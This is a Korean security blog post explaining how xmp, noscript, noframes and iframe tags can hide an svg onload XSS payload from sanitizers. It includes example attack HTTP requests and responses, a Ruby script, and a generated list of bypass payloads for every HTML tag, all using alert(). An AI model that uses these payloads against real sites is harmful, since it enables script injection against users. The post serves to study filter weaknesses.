Bypass XSS Protection with xmp/noscript/noframes/iframe

최근 트위터 에서 이런 XSS 코드가 좀 도는 것 같습니다.

<xmp><p title="</xmp><svg/onload=alert(45)>">

조금 된 기법이긴하나 그래도 기존의 XSS 방식을 우회할 수 있는 여지가 큰 방법이라 간간히 이를 이용한 XSS들이 보이는데요. 이런케이스의 공격코드는 어떤것들이 있는지, 어떤 원리로 동작하는지 알아봅시다.

원리

우선 구문만 봐선 p 태그의 title 속성의 값으로 공격코드가 들어가있는 것 처럼 보입니다. 그러나 <xmp> 태그는 내부 문자열을 plain text로 인지하는 태그인데, 웹 브라우저의 파싱 단계에서 “”를 문자열로 처리하는 것 보다, <xmp> 태그 처리가 우선시되어 처리됩니다.

비슷한 케이스로는.. javascript에서 쿼테이션(")으로 감싸주어도 </script> 태그를 이용해 나갈 수 있는 것과 동일합니다. 그림으로 그려보면 이럴 것 같습니다.

XSS Protection들에선 title부터 속성값으로 보겠지만, 실제 브라우저가 파싱할 땐 xmp로 인해 앞쪽 부분이 무시되고 script 태그가 동작하게 됩니다.

비슷한 공격코드들..

noscript

<noscript><p title="</noscript><svg/onload=alert(45)>">

noframes

<noframes><p title="</noframes><svg/onload=alert(45)>">

iframe

<iframe><p title="</iframe><svg/onload=alert(45)>">

Case Study

DOM Paser 기반의 XSS Protection 우회

Basic Request

POST /write?id=1 HTTP/1.1
title=123&content=<script>alert(45)</script><img%20src="<script>alert(45)</script>">

Basic Response

&lt;script&gt;alert(45)&lt;/script&gt;<img src="<script>alert(45)</script>">

Attack Request

POST /write?id=1 HTTP/1.1
title=123&content=<iframe><p%20title="</iframe><svg/onload=alert(45)>">

Attack Response

<iframe><p title="</iframe><svg/onload=alert(45)>">

noscript , noframes, iframe, xmp 등 태그 내부에 공격코드 삽입이 가능한 경우

Basic Request

GET /search?id=asd">asdf HTTP/1.1

Basic Response

<noscript>">asdf</noscript>

Attack Request

GET /search?id=1<p%20title="</noscript><svg/onload=alert(45)>"> HTTP/1.1

Attack Response

<noscript><p title="</noscript><svg/onload=alert(45)>"></noscript>

More? Let’s fuzz

모질라에서 정의된 HTML 태그들은 이렇습니다. (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/)

<a>
<abbr>
<acronym>
<address>
<applet>
<area>
<article>
<aside>
<audio>
<b>
<base>
<basefont>
<bdi>
<bdo>
<bgsound>
<big>
<blink>
<blockquote>
<body>
<br>
<button>
<canvas>
<caption>
<center>
<cite>
<code>
<col>
<colgroup>
<content>
<data>
<datalist>
<dd>
<del>
<details>
<dfn>
<dialog>
<dir>
<div>
<dl>
<dt>
<em>
<embed>
<fieldset>
<figcaption>
<figure>
<font>
<footer>
<form>
<frame>
<frameset>
<h1>
<h2>
<h3>
<h4>
<h5>
<h6>
<head>
<header>
<hgroup>
<hr>
<html>
<i>
<iframe>
<img>
<input>
<ins>
<isindex>
<kbd>
<keygen>
<label>
<legend>
<li>
<link>
<listing>
<main>
<map>
<mark>
<marquee>
<menu>
<menuitem>
<meta>
<meter>
<nav>
<nobr>
<noframes>
<noscript>
<object>
<ol>
<optgroup>
<option>
<output>
<p>
<param>
<picture>
<plaintext>
<pre>
<progress>
<q>
<rp>
<rt>
<rtc>
<ruby>
<s>
<samp>
<script>
<section>
<select>
<shadow>
<slot>
<small>
<source>
<spacer>
<span>
<strike>
<strong>
<style>
<sub>
<summary>
<sup>
<table>
<tbody>
<td>
<template>
<textarea>
<tfoot>
<th>
<thead>
<time>
<title>
<tr>
<track>
<tt>
<u>
<ul>
<var>
<video>
<wbr>
<xmp>

테스트를 위해 Template 화하고…

<a><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<abbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<acronym><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<address><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<applet><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<area><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<article><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<aside><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<audio><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<b><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<base><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<basefont><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<bdi><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<bdo><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<bgsound><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<big><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<blink><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<blockquote><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<body><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<br><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<button><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<canvas><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<caption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<center><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<cite><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<code><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<col><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<colgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<content><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<data><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<datalist><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<del><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<details><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dfn><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dialog><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dir><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<div><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dl><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<dt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<em><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<embed><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<fieldset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<figcaption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<figure><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<font><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<footer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<form><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<frame><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<frameset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h1><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h2><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h3><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h4><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h5><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<h6><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<head><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<header><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<hgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<hr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<html><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<i><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<iframe><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<img><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<input><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ins><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<isindex><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<kbd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<keygen><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<label><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<legend><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<li><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<link><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<listing><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<main><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<map><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<mark><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<marquee><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<menu><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<menuitem><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<meta><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<meter><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<nav><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<nobr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<noframes><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<noscript><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<object><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ol><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<optgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<option><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<output><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<p><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<param><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<picture><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<plaintext><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<pre><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<progress><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<q><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<rp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<rt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<rtc><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ruby><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<s><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<samp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<script><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<section><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<select><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<shadow><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<slot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<small><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<source><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<spacer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<span><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<strike><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<strong><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<style><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<sub><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<summary><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<sup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<table><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tbody><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<td><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<template><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<textarea><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tfoot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<th><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<thead><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<time><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<title><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<track><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<tt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<u><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<ul><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<var><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<video><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<wbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
<xmp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">

ruby code로 작성해서 돌려줍니다. 그러면…

arr = ['<a><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<abbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<acronym><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<address><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<applet><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<area><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<article><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<aside><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<audio><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<b><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<base><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<basefont><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<bdi><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<bdo><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<bgsound><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<big><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<blink><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<blockquote><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<body><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<br><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<button><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<canvas><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<caption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<center><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<cite><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<code><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<col><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<colgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<content><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<data><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<datalist><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<del><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<details><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dfn><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dialog><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dir><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<div><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dl><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<dt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<em><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<embed><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<fieldset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<figcaption><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<figure><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<font><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<footer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<form><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<frame><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<frameset><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h1><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h2><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h3><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h4><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h5><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<h6><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<head><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<header><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<hgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<hr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<html><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<i><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<iframe><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<img><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<input><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ins><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<isindex><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<kbd><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<keygen><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<label><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<legend><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<li><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<link><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<listing><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<main><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<map><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<mark><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<marquee><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<menu><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<menuitem><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<meta><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<meter><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<nav><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<nobr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<noframes><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<noscript><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<object><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ol><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<optgroup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<option><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<output><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<p><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<param><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<picture><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<plaintext><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<pre><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<progress><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<q><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<rp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<rt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<rtc><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ruby><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<s><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<samp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<script><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<section><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<select><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<shadow><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<slot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<small><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<source><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<spacer><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<span><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<strike><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<strong><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<style><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<sub><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<summary><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<sup><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<table><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tbody><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<td><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<template><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<textarea><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tfoot><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<th><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<thead><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<time><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<title><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<track><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<tt><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<u><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<ul><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<var><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<video><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<wbr><p title="</#{endtag}><svg/onload=alert(#{starttag})>">',
'<xmp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">']

arr.each do |payload|
  pp = payload.split('>')
  payload = payload.gsub('#{endtag}', pp[0][1..-1])
  payload = payload.gsub('#{starttag}', "'"+pp[0][1..-1].to_s+"'")
  p payload
end

이렇게 HTML 태그 리스트로 뽑아낼 수 있습니다. 여기서 중점은 한번에 테스트 시 DOM이 깨져서 제대로된 결과를 얻을 수 없습니다. 셀리니움끼고 구현해서 정확한 값을 얻어와야겠네요. (다음시간에 할래요 귀찮…) output

<a><p title="</a><svg/onload=alert('a')>">
<abbr><p title="</abbr><svg/onload=alert('abbr')>">
<acronym><p title="</acronym><svg/onload=alert('acronym')>">
<address><p title="</address><svg/onload=alert('address')>">
<applet><p title="</applet><svg/onload=alert('applet')>">
<area><p title="</area><svg/onload=alert('area')>">
<article><p title="</article><svg/onload=alert('article')>">
<aside><p title="</aside><svg/onload=alert('aside')>">
<audio><p title="</audio><svg/onload=alert('audio')>">
<b><p title="</b><svg/onload=alert('b')>">
<base><p title="</base><svg/onload=alert('base')>">
<basefont><p title="</basefont><svg/onload=alert('basefont')>">
<bdi><p title="</bdi><svg/onload=alert('bdi')>">
<bdo><p title="</bdo><svg/onload=alert('bdo')>">
<bgsound><p title="</bgsound><svg/onload=alert('bgsound')>">
<big><p title="</big><svg/onload=alert('big')>">
<blink><p title="</blink><svg/onload=alert('blink')>">
<blockquote><p title="</blockquote><svg/onload=alert('blockquote')>">
<body><p title="</body><svg/onload=alert('body')>">
<br><p title="</br><svg/onload=alert('br')>">
<button><p title="</button><svg/onload=alert('button')>">
<canvas><p title="</canvas><svg/onload=alert('canvas')>">
<caption><p title="</caption><svg/onload=alert('caption')>">
<center><p title="</center><svg/onload=alert('center')>">
<cite><p title="</cite><svg/onload=alert('cite')>">
<code><p title="</code><svg/onload=alert('code')>">
<col><p title="</col><svg/onload=alert('col')>">
<colgroup><p title="</colgroup><svg/onload=alert('colgroup')>">
<content><p title="</content><svg/onload=alert('content')>">
<data><p title="</data><svg/onload=alert('data')>">
<datalist><p title="</datalist><svg/onload=alert('datalist')>">
<dd><p title="</dd><svg/onload=alert('dd')>">
<del><p title="</del><svg/onload=alert('del')>">
<details><p title="</details><svg/onload=alert('details')>">
<dfn><p title="</dfn><svg/onload=alert('dfn')>">
<dialog><p title="</dialog><svg/onload=alert('dialog')>">
<dir><p title="</dir><svg/onload=alert('dir')>">
<div><p title="</div><svg/onload=alert('div')>">
<dl><p title="</dl><svg/onload=alert('dl')>">
<dt><p title="</dt><svg/onload=alert('dt')>">
<em><p title="</em><svg/onload=alert('em')>">
<embed><p title="</embed><svg/onload=alert('embed')>">
<fieldset><p title="</fieldset><svg/onload=alert('fieldset')>">
<figcaption><p title="</figcaption><svg/onload=alert('figcaption')>">
<figure><p title="</figure><svg/onload=alert('figure')>">
<font><p title="</font><svg/onload=alert('font')>">
<footer><p title="</footer><svg/onload=alert('footer')>">
<form><p title="</form><svg/onload=alert('form')>">
<frame><p title="</frame><svg/onload=alert('frame')>">
<frameset><p title="</frameset><svg/onload=alert('frameset')>">
<h1><p title="</h1><svg/onload=alert('h1')>">
<h2><p title="</h2><svg/onload=alert('h2')>">
<h3><p title="</h3><svg/onload=alert('h3')>">
<h4><p title="</h4><svg/onload=alert('h4')>">
<h5><p title="</h5><svg/onload=alert('h5')>">
<h6><p title="</h6><svg/onload=alert('h6')>">
<head><p title="</head><svg/onload=alert('head')>">
<header><p title="</header><svg/onload=alert('header')>">
<hgroup><p title="</hgroup><svg/onload=alert('hgroup')>">
<hr><p title="</hr><svg/onload=alert('hr')>">
<html><p title="</html><svg/onload=alert('html')>">
<i><p title="</i><svg/onload=alert('i')>">
<iframe><p title="</iframe><svg/onload=alert('iframe')>">
<img><p title="</img><svg/onload=alert('img')>">
<input><p title="</input><svg/onload=alert('input')>">
<ins><p title="</ins><svg/onload=alert('ins')>">
<isindex><p title="</isindex><svg/onload=alert('isindex')>">
<kbd><p title="</kbd><svg/onload=alert('kbd')>">
<keygen><p title="</keygen><svg/onload=alert('keygen')>">
<label><p title="</label><svg/onload=alert('label')>">
<legend><p title="</legend><svg/onload=alert('legend')>">
<li><p title="</li><svg/onload=alert('li')>">
<link><p title="</link><svg/onload=alert('link')>">
<listing><p title="</listing><svg/onload=alert('listing')>">
<main><p title="</main><svg/onload=alert('main')>">
<map><p title="</map><svg/onload=alert('map')>">
<mark><p title="</mark><svg/onload=alert('mark')>">
<marquee><p title="</marquee><svg/onload=alert('marquee')>">
<menu><p title="</menu><svg/onload=alert('menu')>">
<menuitem><p title="</menuitem><svg/onload=alert('menuitem')>">
<meta><p title="</meta><svg/onload=alert('meta')>">
<meter><p title="</meter><svg/onload=alert('meter')>">
<nav><p title="</nav><svg/onload=alert('nav')>">
<nobr><p title="</nobr><svg/onload=alert('nobr')>">
<noframes><p title="</noframes><svg/onload=alert('noframes')>">
<noscript><p title="</noscript><svg/onload=alert('noscript')>">
<object><p title="</object><svg/onload=alert('object')>">
<ol><p title="</ol><svg/onload=alert('ol')>">
<optgroup><p title="</optgroup><svg/onload=alert('optgroup')>">
<option><p title="</option><svg/onload=alert('option')>">
<output><p title="</output><svg/onload=alert('output')>">
<p><p title="</p><svg/onload=alert('p')>">
<param><p title="</param><svg/onload=alert('param')>">
<picture><p title="</picture><svg/onload=alert('picture')>">
<plaintext><p title="</plaintext><svg/onload=alert('plaintext')>">
<pre><p title="</pre><svg/onload=alert('pre')>">
<progress><p title="</progress><svg/onload=alert('progress')>">
<q><p title="</q><svg/onload=alert('q')>">
<rp><p title="</rp><svg/onload=alert('rp')>">
<rt><p title="</rt><svg/onload=alert('rt')>">
<rtc><p title="</rtc><svg/onload=alert('rtc')>">
<ruby><p title="</ruby><svg/onload=alert('ruby')>">
<s><p title="</s><svg/onload=alert('s')>">
<samp><p title="</samp><svg/onload=alert('samp')>">
<script><p title="</script><svg/onload=alert('script')>">
<section><p title="</section><svg/onload=alert('section')>">
<select><p title="</select><svg/onload=alert('select')>">
<shadow><p title="</shadow><svg/onload=alert('shadow')>">
<slot><p title="</slot><svg/onload=alert('slot')>">
<small><p title="</small><svg/onload=alert('small')>">
<source><p title="</source><svg/onload=alert('source')>">
<spacer><p title="</spacer><svg/onload=alert('spacer')>">
<span><p title="</span><svg/onload=alert('span')>">
<strike><p title="</strike><svg/onload=alert('strike')>">
<strong><p title="</strong><svg/onload=alert('strong')>">
<style><p title="</style><svg/onload=alert('style')>">
<sub><p title="</sub><svg/onload=alert('sub')>">
<summary><p title="</summary><svg/onload=alert('summary')>">
<sup><p title="</sup><svg/onload=alert('sup')>">
<table><p title="</table><svg/onload=alert('table')>">
<tbody><p title="</tbody><svg/onload=alert('tbody')>">
<td><p title="</td><svg/onload=alert('td')>">
<template><p title="</template><svg/onload=alert('template')>">
<textarea><p title="</textarea><svg/onload=alert('textarea')>">
<tfoot><p title="</tfoot><svg/onload=alert('tfoot')>">
<th><p title="</th><svg/onload=alert('th')>">
<thead><p title="</thead><svg/onload=alert('thead')>">
<time><p title="</time><svg/onload=alert('time')>">
<title><p title="</title><svg/onload=alert('title')>">
<tr><p title="</tr><svg/onload=alert('tr')>">
<track><p title="</track><svg/onload=alert('track')>">
<tt><p title="</tt><svg/onload=alert('tt')>">
<u><p title="</u><svg/onload=alert('u')>">
<ul><p title="</ul><svg/onload=alert('ul')>">
<var><p title="</var><svg/onload=alert('var')>">
<video><p title="</video><svg/onload=alert('video')>">
<wbr><p title="</wbr><svg/onload=alert('wbr')>">
<xmp><p title="</xmp><svg/onload=alert('xmp')>">

